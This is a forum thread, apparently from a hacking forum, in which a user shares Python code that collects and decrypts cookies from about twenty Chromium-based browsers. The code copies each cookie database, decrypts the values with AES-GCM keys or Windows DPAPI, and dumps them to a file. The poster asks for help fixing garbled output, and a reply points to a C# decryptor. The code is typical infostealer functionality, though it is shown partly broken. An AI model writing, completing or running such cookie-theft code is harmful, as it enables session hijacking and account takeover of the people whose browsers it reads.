

Forum:[Hack Forums](#)

Thread: [Decrypting chromium browser cookies](#)

hankmoneymen - February 20, 2026, 1:53 pm

I'm working on a cookie decrypter for the following chromium browsers:

Chrome
Chrome Beta
Chrome Dev
Chrome Canary
Edge
Edge Beta
Edge Dev
Edge Canary
Brave
Vivaldi
Chromium
Arc
Yandex
Opera
Opera GX
Thorium
Torch
Iridium
Epic Privacy
Avast Secure
AVG Secure

heres the main() function:

```
def main():
    keys = get_keys()
    all_data = {}

    for name, base_path in BROWSERS.items():
        cookie_db = os.path.join(base_path, "Default", "Network", "Cookies")
        if not os.path.isfile(cookie_db):
            continue

        temp_db = Path(os.environ["TEMP"]) / f'{name}_CookieData.db'
        shutil.copy2(cookie_db, temp_db)

        key = keys.get(name)
        browser_entries = []

    try:
        conn = sqlite3.connect(temp_db)
        cursor = conn.cursor()
        cursor.execute("SELECT host_key, name, value, encrypted_value FROM cookies")
```

```

browser_entries = []

for row in cursor.fetchall():
    try:
        url = row[0]
        name = row[1]
        value = row[2]
        encrypted_value = row[3]

        if encrypted_value:
            cookie = decrypt(encrypted_value, key)
        else:
            cookie = value

        if cookie:
            browser_entries.append({
                "url": url,
                "name": name,
                "value": value,
                "cookie": cookie
            })
    except Exception as e:
        print(f"Error processing {name}: {e}")

finally:
    cursor.close()
    conn.close()
    try:
        Path(temp_db).unlink(missing_ok=True)
    except Exception as e:
        print(f"Error deleting temp DB: {e}")

if browser_entries:
    all_data[name] = browser_entries

with open("cookieslmao.txt", "w", encoding="utf-8") as f:
    for browser, entries in all_data.items():
        f.write(f"=====\n")
        for entry in entries:
            url = entry.get("url", "")
            name = entry.get("name", "")
            cookie = entry.get("cookie", "")
            f.write(f"url: {url}\n")
            f.write(f"name: {name}\n")
            f.write(f"cookie (encoded in base64): {cookie}\n")
            f.write(f"=====\n")

print(f"extraction complete! saved to cookieslmao.json")

```

decrypt() function:

```
def decrypt(encrypted_value: bytes, key: bytes) -> str:
```

```
    if encrypted_value.startswith(b'\x10') or encrypted_value.startswith(b'\x11'):
```

```
        iv = encrypted_value[3:15]
```

```
        ciphertext = encrypted_value[15:-16]
```

```
        tag = encrypted_value[-16:]
```

```
        cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
```

```
        decrypted = cipher.decrypt_and_verify(ciphertext, tag)
```

```
    else:
```

```
        decrypted = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1]
```

```
    try:
```

```
        return decrypted.decode('utf-8')
```

```
    except UnicodeDecodeError:
```

```
        return base64.b64encode(decrypted).decode('utf-8')
```

```
except Exception as e:
```

```
    print(f'Decryption error: {e}')  
    return ''
```

and heres a sample cookie:

```
O0u86bZFoBy9uAm+/CQ+2yDhVf9MIsqe2thT4IRW07xjOTZkYjA2Yi1iY2JiLTQ4NGUtYmZmMS05ZGVhNjA1OWFmZmU=
```

notice how its base64? well when i try to decode any cookie, it starts with something similar to this:

```
;KE $> UL"?SV? (alien language)
```

also, a lot of the cookies dont match the same cookie if i open up dev console.

any help?

sudowoodoking - February 21, 2026, 6:36 am

I do not know your coding skill level but can you check this out?

<https://github.com/lainalie/Chrome-Chromium-cookie-parser-and-decryptor>

This code here is written in C# and not Python but I think you can use this as reference.